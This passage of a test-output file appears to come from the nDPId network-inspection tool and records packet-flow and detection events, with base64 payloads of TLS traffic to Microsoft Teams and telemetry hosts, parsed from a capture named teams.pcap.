Z0IElUIFRMUyBDQSA0MB4XDTE5MTAxMDIxNTUzOFoXDTIxMTAxMDIxNTUzOFowJjEkMCIGA1UEAwwbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq8J31SJyCTCkjxtLC8JE7aU56y+0937PcYfrFGWW\/wSL1vxV6UtbY+5UyBq7YUvoZUI+YYWI6FMysHpnkiGQR5h3NLX2it0lgM0JMJXgIYfO+vdhJalxciwWfJHOcY4+eUQwpTmpGeOTzK\/sd1W+VOYbkgWPJ0lAEgTcRXL\/NZZAtyce+Sv4+b4jHwY9pwQxOHJWtnns0bK3jD\/RcAtjLeUisGvBGtt1SItPOQvgD6i2AdvjCkjqVXn0nxT\/yKuGkvtii1i85nrjeMS5pKgL+N2I4goIXeRAaK089dd0KrnNO6kLEhhSHgHwJHnPwfqeXH1Q2p1Zw2r13mOsJdyP7QIDAQABo4IE1zCCBNMwggF\/BgorBgEEAdZ5AgQCBIIBbwSCAWsBaQB2APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABbbe0zD0AAAQDAEcwRQIgXUu8wYK\/QqX5unkLcaUv4T8oQWu5yZb6M3RYbUFPJ7sCIQCVvziq+dynpJXSFyAk+ZobbjdMm8Ziuyzc0miXoW9hmQB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABbbe0zTwAAAQDAEcwRQIgOIr7NuYD18H8X6OV\/YdBgg0HoCy47ognD1Etlbp3ZVgCIQCAVAoqvjDqhz4It72mColVOT\/FZuexWjdVPWkvuAPY1AB3AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABbbe0zEEAAAQDAEgwRgIhAMLyKXAV0HvPisLX5tlLiDTgtSUtRgffnQWc5h8Pdj8PAiEAo6ENbH0+qORahbVCksBW940dOZQUoTXblsn+bri9ExQwJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQa+kPWU8gwtBlTGMvS3dHpIWlv7TALBgNVHQ8EBAMCBLAwgfIGA1UdEQSB6jCB54IbKi5ldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghlldmVudHMuZGF0YS5taWNyb3NvZnQuY29tghkqLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tgg5waXBl"} +02208{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":137251,"pkt_caplen":1389,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1389,"pkt_l4_len":1355,"pkt":"KDc3AG3IEBMx8Tl2CABFAAVfFwtAAGwGr0w0ck0hwKgBBgG77Hf6fN4S2z1kCYAYBAWzJQAAAQEICmETH58whJosBM0QKjyXHQCemRgYCc9Ll+TJ\/ADwDFqdNuiyQMFKrIQoqj1GGCuniqz0r0uofklCx2IgwOanO13rkB+7itickOM6sWzClM4+MmvLcbNBLrnF4V3YWSeC++FIDX7oBPH5ASdB+pRafcUwu7a61xGbiPoBzG5Lkrn4eDzLnGiaFmaI0JOwKoMulxEdfoEgYeSwuZucblOVlSLG2b11ELrZdYw8Px3QlvgzRXt7H1Qz5UiXpwUkotvR3JWuICp9lolIe5J60CSx3kgR92c8tN\/4WGD1T3s0aOb9rCYItvMsQ9tPxBbQmwxxh7EHa4bdj6Cx+2ba2Mvp8vBl5Y7YHOovui1k8V7QG1CyDIVKzzvILipqdYzArlzZ6cB8fXzanOO9SrBgB4IrfV3IEK8uYozcmv3h2blZSJdCGsNQgQsfgyJr5Ju8KSKC\/YBRXHVfDjXC3X8vemefPY5bjLuvnfTMDPuoH50hwfPnUhpdzhRXbVC4Se6xCyfS4mknEm7GwCY+56QrG4tTOAb6Goc64Et\/mRZOWT1ZafFxp2VlGwIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFHp7jMHP56DKHNRr+vvhM8MPGqKdMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBABH+cgY6IQo3bsj1KSICYp5FDu36Bp\/vv54kNRf+OYiyuwHheN\/Ri5f9t3fxinJPSTrosynXdIfkufMXYIeIklWCvdl9E0h\/BpA6iWbnnZb3lc1gD9fhyvZ27vqbNUihmH3SkypPgRbHqJa70SXzpm9Q2gCbKqj0NQDj\/Sw77eUVm38WD8eOyTYglPAdAbkSUFCZgeAoQiyOeP\/txp7V5MrpoKqzSE+kX+SLGP8TAi2QETYYZig6IprelfFZ7p9tKhd1k1DDBRLV3mS0trzb13ZZ\/qXW5Vbh\/kZcO4r47A777xKQkc4gEoG6PFLjf+NA9AxBIGaHGNoyaeD23I8o8r0MAAEoAwAdIP49xIfrfjDvk9a062lCLcDWR7nMSideF7Sue\/RplckxBAEBAH6zAEyUpfFNwqzR7mmhOYufXGc+KPq30VcKIDnpWEwxZCz2OpNChgHJKjPVTQ5EDGCelpa35ZM110cuSF0Wn015y8PlugqZYRvLoVz6fJ6UdKXR5SgVQONGhs7fdu3GB\/JcRY3DO3LPhEFPo8gOI7nUYKeDaBZJ02iftBX0OaHjcaBQG0kTPE\/IofdfYyaOWf6Ag2IxMr6LVaXz97cn90K4hhnEBy0QXrzoDbDxFfOmWoFc72r8b0ZHVtFOpaj3dIiZyMIzopBcPDvxW0P0nb2U0wKlaFWbTnNvZUuhC1MPHmTmPij8dkbUSOhdta0bEasOTIRpplZ1IlyiBxmbNVAOAAAA"} +00438{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":137337,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIex3AbvbPWQJ+nzYcrAQD9zrQAAAAQEICjCEmlxhEx+fAQEFCvp83hL6fOM9"} +02358{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":137475,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUFwpAAGwGrtg0ck0hwKgBBgG77Hf6fNhy2z1kCYAQBAVCDgAAAQEICmETH58whJosLnNreXBlLmNvbYIQKi5waXBlLnNreXBlLmNvbYIiKi5tb2JpbGUuZXZlbnRzLmRhdGEubWljcm9zb2Z0LmNvbYIgbW9iaWxlLmV2ZW50cy5kYXRhLm1pY3Jvc29mdC5jb22CFSouZXZlbnRzLmRhdGEubXNuLmNvbYITZXZlbnRzLmRhdGEubXNuLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwNC5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFHp7jMHP56DKHNRr+vvhM8MPGqKdMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEAUxCmyVHd3H7BNm7xrFDWc0lUKQfFfvZJj7fGm702yYNfNb17H3sDMMybFW0xvlL9Ezzab9UkH29uzppLcvgSPbaskyoVw+2aUUDOWU9BNPXX55faad2R1I6KtC+PfV7YLtmbicvSGz4AqzYw9ZreqUymbtwFHx+mEj1q7bV3EnUB\/tkVGJLU4rtEsbNOyNY0rT1MPRe2qZ6z8OTI\/Ubwew2S+CzQq6NSEinFnoQ24d33L9+Q2VR7IJxgZJZ0JLJRb2EkmyBTG1bJPbFiADdV1t9YSY2ps7oVekv29d\/XDIODAnQFR1IHqlMXtC77TWoRsh1X4rC3iStLm+7YDXNcZ\/4Mj9IuoDmWavbkJCD0d5pvrPILAZtuXahuvQzQtAY2n0vu1+AhHxMbk9e2L2iJYbk++P\/GCSsH0E3MwFuGBx2aD8kcD\/GasOSgJ2hX1PemGbx7\/Y9FGQudVhN6gkjLviiZxZQGDI3hc4aNkSo6HFXMcwVO63+RLd5FmQcXxQ4wQgOa8gPG9Z+WsefaydUjjPdFmpvxlC8L\/\/hy5Vj29oZ7skaSNpSCyBSNkBskAzSt9el50ZVrhM5J4i3BG1jJVGu2oqjlyxlbfhoa6VdObxpgGXjYRrBKCYMJOGSIW1HBsVpPOHiO3HTRTWSc3nsno7KhTt65NB2bdGHaIXFW18cABbgwggW0MIIEnKADAgECAhALarOwPrGp9sRgkmqozf6zMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MjM4WhcNMjQwNTIwMTI1MjM4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCr5etdo2s5nvU0iBK7HVImXX0JC8Z5jqu3Dt8Zst3uD\/bu9FbkRuKSD+JnC+MccaTUQXO0y5kWjr93fbCvHmztcS7DCHdKXpKu7FrQSIHQxemg9XqPHo1e062SwNrGkTUxILk5"} +00422{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":137514,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex3AbvbPWQJ+nzjPYAQD6nNCgAAAQEICjCEmlxhEx+f"} +00550{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":138785,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"EBMx8Tl2KDc3AG3ICABFAACRAABAAEAG9yXAqAEGNHJNIex3AbvbPWQJ+nzjPYAYEACHlAAAAQEICjCEml1hEx+fFgMDACUQAAAhIHPBp8+wuw19lTcvNkHN8MSJxGoJG5HShn76nTcEFxwBFAMDAAEBFgMDACgAAAAAAAAAANbr7pZrkfyPmtyujxFx+COuaCSWjNqCq8kcxQsKiIjC"} +00494{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":184001,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnFwxAAGwGtEM0ck0hwKgBBgG77Hf6fOM92z1kZoAYBAWuSwAAAQEICmETH88whJpdFAMDAAEBFgMDACgAAAAAAAAAAAKrgBHo\/OOQWfKLiWv1DSZ7VsgdwrCQ83brRuEYu3dO"} +00425{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":184101,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex3AbvbPWRm+nzjcIAQD\/7LxwAAAQEICjCEmophEx\/P"} +02363{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":186021,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex3AbvbPWRm+nzjcIAQEAAogQAAAQEICjCEmothEx\/PFwMDOsgAAAAAAAAAAQJpxAXFlgGOw6NQNyLgxT\/WQbnFK58fUOQKkdNAS5RydKNY8HzEFuEeAet1NUkUBXLHKuYVABOUmmxk9BmgxadTV\/RKIwYbgskYp8Au1ug6qGwFxJaN+Ox4BVqbjN6nDgIZw8LZeylc2yM2OqpL4pPdpi5U7Qocm\/Ex1IAc2JPxnpZI6Zcab6cRQZ1sT0mb3slH8HhkXkN8w9DZliXVBWUUQAMvBW00kp6vrBzorNtoxB1x1hyQWudtCsv4vYSc8V43+13gX\/zgTC\/jXRIw3RE7fSqBdLDyfoGcu0NxvKMnKtkQJYNYDHrdaGy9bx87US7FPnCk3fANf3h\/fWnlfhNEKZpqyvyHbdUO4iI0MDZtIVs2ZpocOMz+KsJbr1uFywJkG8yjul4XBo6L6ae68NXUqIIkcD19\/eFJn5278MbAh6uZPcsE1PI9r74+JV3K2Sxr7vKJXItXiaUNOoCrhKYGl\/wOAlq7k8zQqDgwcQYhv8r5D4XZGifULhmztXm8+ILd4yDCJWZxN\/LseI9SyvE2xTqt9jV27Ap8FjRfgrtSeU4EyrqJjWf0tCjQQt8\/CLeumf8EqjXZ7WgL26vJN8PyHdaG8xk2XrysHLQeEFUpUpVbsn5z\/R2y2lA3hgF2KApkegZ8tQ3SklLAabJVzWkV2L9XzPrjYtxzyyOaVCl3l2pcwyjSKCPkqvj6ps6Kx0Rs2kGbqk1VfEjcYAbJxhsNZ+6tvkMu0eTBypbUpntOC2QQgt3RFs1WomWmUe2sHbpq+RYF9NOH7\/HsFWxyJuiS+w\/YU09y6AD0y5DjSxKFIi\/xXSz5jlBxo+6UxLr2Bz3OHHAq1ZLXOkcepl0JLkUpAlAQ6lBfsqvGLHUBkj9W10pt\/SgJLZGJ5fcPTJZe5wIdJSipqQio5vBSAq6trCzVsfqWTG8iGlLAHSre5GUM\/FCWxVKBEt9Jv7BrVwzCozKwnO5nZlSyFSlI5fPZtlkLaOM2QMfuC4G7jipn7mgfOnuqmlvsD33chok9nPigNeigKBeyQ9fmcEj9gvJTa8TVwKezKFgzGMak7\/xYB\/L9Gt72bGUBlFrqHcKcYcn606JK06EcUwdJ0As7VO2hSuG9uRMmJ02JocPYp\/0i5clMIzlRZGcjCkOSJMxMJ4UmWbXA4DuLJj2mmnsyT6wfywFkWVcKRwCXd5255UO\/UqrclSzDAijjEWgsN0Ppua1RTtoWqzMW9g+fo\/kLunsvPij5XHVuBrqw3+XLVjO9EZn2lW+kkugQ3scDQ7X77soldus7L9IbFwcc7z2yn2n1rDRPtxdCtHMt2KcfuVih7E3ZcltM7jHjb9VQG5D8dTHlFL2Kd3MHcHnpWcL0G2vFoXObqmEocfEWT+AmFOOKGCAnXmn0u\/K2L8acgiFNRR2DkfncieK4iqlJXNxMANehiPOrKzIh5j9DsIZUp7mQjpFIij9gM6htFfEr9FnEuPcObTNmDekLChMIWsJ+fEDWhU7B396RyQzA0KgZ6udB1Ojmo8yjw\/KlcsjTEek+wHeM2\/ceUNRwqMVM7nhbwiv3vM9IKIMuEWsCowIVJUHA2XhlTQd\/kfmeOSqkj4Ou8iRFRMuNkgHHNwQRLwas6e2FJE\/TQjEx5STAxXhbAKsVhQoh2cXkj9Gl5lTMj5CGVIt+bpFob7jAuhcmJS6FFwEfk2\/2o1yB8c94jCoZyfye2ECQkf78bVYsZEi+hVrz13PQxXJO5P3u4didOBHy4fI4MCRS1KiV6QmCAHl5yQr3WdtIMqT5vQXxCmvYe3BmrHF2\/vVwJg7I2dm8p1xJnmIMtjiqEGmYipeJuLvdC0taL5z\/mI4umSoZh1T2BIvdklHpsoGKl5X+PmrU3d04aJ5QnmiN6U8+QpKw"} +01299{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":167,"source":"teams.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":13,"flow_first_seen":1587041677042,"flow_last_seen":1587041677186,"flow_tot_l4_data_len":6429,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":494,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60535,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","issuerDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}} +02362{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":186025,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex3AbvbPWn6+nzjcIAQEAATNAAAAQEICjCEmothEx\/P5AmATORmFYP7I2nBov1DOAa3ez5VMz+PdmoaUFqueTVtrK6BWDsGuC+wteXP56yloZigSrL1zn5wqAElpR2QDI6BcRTmg8QMRyjfeb4vwyvMIp6ednEyNRLjM9UI61peqgEaKrCeQaTj3cUM+87eGrKl7rWU0WEtwPbfcF0chHYC54dD2eqPaxDrn0SrAZ\/3hM21\/NLwc\/rsCwUd+6z49H0jtsFJA3pEVnc2uFuifTEU8fV+EltPM58dgx+yEMvHIa2yeC\/l2M28MJLAGg\/KzxzqcZUNuoZXBaZ2SDbk27Mm7sn\/iQMWzf4knknVOMXmm2XbL0GfRoj0rOdZoHnh7bX993OeADKhh2oxODmT3lfeobDuVl9dR26Wgmnd\/U7Bv1Fz6v6Itihy7ax4+uA73pZUKIBd5Yo\/mHk5jXqWUkP3\/qqPpmAzdADUEJPaoTDgJHolRMRkz1DyAJ5Z9uJ4qJ+mGy1QD7vxUM2EVm17zwbSraGm7\/xo8l8ntULPYeo3KO5dd02xl9n1TqSIXpFazXZJiXSEcAP1jpS9GLVQOqMr8A4y1O5jXKdIMQcLSNxrJ0WSfh3TfGxNfpHUMmW6fDRxgLvY4yAm9j197rcz9hDiLyzJcAZV9scJNavaz+8Y3nv3emG6MapVINyRXbSoqYhwr9CE5xw\/Cu\/uvrXqBo+Ud3v4IWmBaR4xwkFTtY2kyLJYf6Qxpk7mvxoTPK+ldpJBYpuq9N2CYCYHnEFxyHCxXFmtBDnnqPIKTVVbSICZW3YtZ2+3sxFaQsUMHc3OBuDLid5poF4ghFzlCIeZLXPFRFzpYxoPEniy2M7pHyOkOOQFfUvrtvRmwNVsEx38lNS+6cbyaoetDBPAy3utqb0CthvIr6yxrlodTKlRQRS+2gJVHK1aA+wdmK2joJjQuqzWb19lN0YIhOYeLcWCHBqr+PAoJgTXBLIsk\/5iDmd1R8PZzSPuvJ9Xtbtqs5X+boqgaRmxphDHQ2YCN2ATV4JZXhjQqS5nTwkNib9JSFAX5YV1wIb3Hos0\/DgyII\/Vn19IJsBQ8fUeOAN6I5HE89bje9Nt6VYWR+6q74OkrmxWYpyPQPUzyBZ7l8zAWsB3p6nH+vAqQeUnSoWR3Q2ccJVp20jK9YOqZX32QS9K80Sj6SJ1elFq9LkJC2TC+MRYvbaxiai0NluhS5WcEgvyuMlvB1Im3lLPPBexFgYpMFSYxPZHswwLAHKNFzf+lhB0IcX7UyIAwh6caK0RSTgZ5CVoor+qnesmsUvUP6Fr\/gwSH\/uQyWnPbBtmFOubE+BSf9TeLqobSwWjKnF6fJyMsFMvjxcRhPNO98nUBX0zXnFh1Hqch4b9OIwkLLNX4iRoIQC3KRdSO6s+veoVy9+D7WwJR0I4xC1Om+NX85sI61O3rXfDdhV\/IP5FKd3rqlgbUANCvg41Rb\/3bSZ\/OBOcPlQ+PV8kK\/YHb1d0xKncljiFoGzUHazX5hHApUWCCKyPCaKh6MDF7CVih7CNP7uSo4WcMQtbUgXUvj\/YjlOJoSFeLHVCAq732L0zhE8afzX5SQdkoP5L8CG3zaiJySY8SLPAGJgq2hIoqvr+XL+NO\/b5QaAqccKUSkz300JQPuPh3lQjSQZ8\/5XnsrAydUKvinZg1M69wJkuUdRLAEpEV7rXuiTt6fk9GI9REZDKL1FamMKwrubDExZzQ1TByzcJamuFOABVCVdQ5orB40Ilz53WJ91yOU29DAUJRkFWu5FB\/iQL5\/QcgOFH+Lfs7mS87O4pajt3wpkf4sdsnguwpnxbM38tvtUObvzU9R5RA71\/0ip+jRfq8ZJn+6+qiAkceMaPf+jCAC1RIRDEGk2J9YcqJ7RA6Tty7PCVxlus9ufktP1enuaHhXRt\/YdgEWSvILhti15K"} +02364{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":186027,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex3AbvbPW+O+nzjcIAQEAAFtgAAAQEICjCEmothEx\/PnbPSWryiGzQDS\/oFUBlW8bowjYxMP9iVB1LZDNG9xoaC4GLRUNkCELYmJU4K02gjIvu9srl3y3tjYCayyUnwhCfELIPerCfHTtF9Nz7Xde31fWkQAufe25dxtBq4vdbcJBXxfvUP2KXraRglsYMTPNQAKCPOJTv\/rA52cA9l8PfBkRcFCvU0gQBr\/+XALJwF4wQDCTWL\/TetSwT\/RsgmMKMxhP+ehM7r\/5f6cyhtmVYPQeHmJ3MbymkM6VuFxgQje62RIVYNEmpTLzdI9uZrqDkpzyElVE1YGPCN4G3nib8AzHehlq2EBFPLShsFEAjeq9D6heur1JX+qxFnp1E7C4D546JbHG0eft8cxKfgj+M1fK9Gr8MJXsqCIcQu3QBCDYii8MQ4y8Pk7b\/cKtxEy+Q0Q1HCyJ4Dmm25Iu8qghDIddAish2UFxW7\/C+qda7wgKrE+9+iXpyuXlKBbVSR\/ED7+dPTK8Xs0eKyU6GTXo9uITAj9ck3S9v4nku0XSqhWsvREQlb4vCBrRU7oo3jwyQt6TXXQgp10a3vuiU2CDX8yCcH7155l5ry7VXy4PYMrCTveQYJtAUkuTa5orWzQoUsBToeW6pBg6YigktAJm\/ARWCt0oCbzjhV86sL5sKEgisoVN7n2EYOYAzXj1gOkMdgQKujmKxdbznVmLiRdVp8w8VIjtx5RCyfAltOsDYQGfpGlKygkkscvfgpAIZ9evZmMFP6Y8zir3NWCI3cwLLy20A0UEQ0I+XWOgnYxBYTizgMmOYxYN6G7zkrSn8Ysk\/8Z5Q7jw9nMg1GdkhC9YDT94WxyGXjcItRwWjZEPYOEO32W6quMs16FPwgG+N6ycAgCyrTY0Cn2I2J3JlOMDojejlPa16j9tYoYfLsucILwWnrYYxYZDGXuuiCbIYjrH5zeNgQS0r2UVGFignNnhNiN8o2nueU2N2sgbj8\/vi9A1acTz8Ua+VIHi8XxMlSEV7IX3cxzDz4Mg2I0\/HSVy2ph3\/VlDddmbliDP6h3TW86Lg62C\/uGdSZfALbx8oqo1hOeq9HE0BDq3H4oM3mMCdo7csSDZVSoqhtyxyh3p\/fpbmTbD8hGhTJYbPL+sFzSarPK2QWRJXF\/IjalEx9KyO9X1z2d+TbJkVHyv99+29Hc8jUcWggBZYYHFjBeF9kEs5B1dCfREobsVRPjholcCBRdExkXhm0tkBeythz5DWelDcqw\/PFC6azVGKC7mKqXcFxOVRWY3h87IYj\/dtb13hQIf36szWaDnpsvC2EV5BefktsYN3yX1t9IKLECSAzzFF6+Wlg2DD8XWL\/dNeaQvqRPuA3mQ5wIB\/7+aqqfS0w9ZKGdlGRyBNE3\/3\/06xyQelV1M53oa71uwdl9aMSdmT84qK5vOQcEYlFiFVWf8SSSpch8Skv5VyfMpdj2ToeUkhMHoPcY6wbyIpLPxR89e2u1jCDJJkBTjlK3prd\/BDQ6hiq9wvF6ls\/zF9DLTgkJKgNN2kF152YeenpauZUlkeZ+MTHbU1MnL5QtrPjBmG22aWD+D2eFeIDStsWFqnYEhqU3uJ24dkGCw5aQW1o1QkgNM1jtxyqwafrW+650eE8JygtQjGRv2D0vsDSu+anLhAWXJNymra31+FzOo6obZg2Y1Zt2945tS1NcqpKMEu\/3wpIc328DjsmYXNmyrP276jW0U\/MoxzPu22nU3VNBkEchmC7+H8ndefuW\/c2oahJizzZ8\/VmzGfzbgk0lsn5aQ0TtNvQUBYggMWNAP5oJeHgfwom6zG71DATTtL78SMl9SCALU3HmGx3DSl1\/qIFmAp2TfsSAJezp0WgP07EPyLGrOg1C2LpAkdU1os16JMvMPYdzAKaMgjcHfp29sd5EmfhehI02mz517NqAmJbpDL9K6Hn"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":175,"source":"teams.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1587041677243,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60536,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":243705,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGghTAqAEGNHHChOx4Abt\/TkvVAAAAALAC\/\/\/5uQAAAgQFtAEDAwUBAQgKMISawwAAAAAEAgAA"} 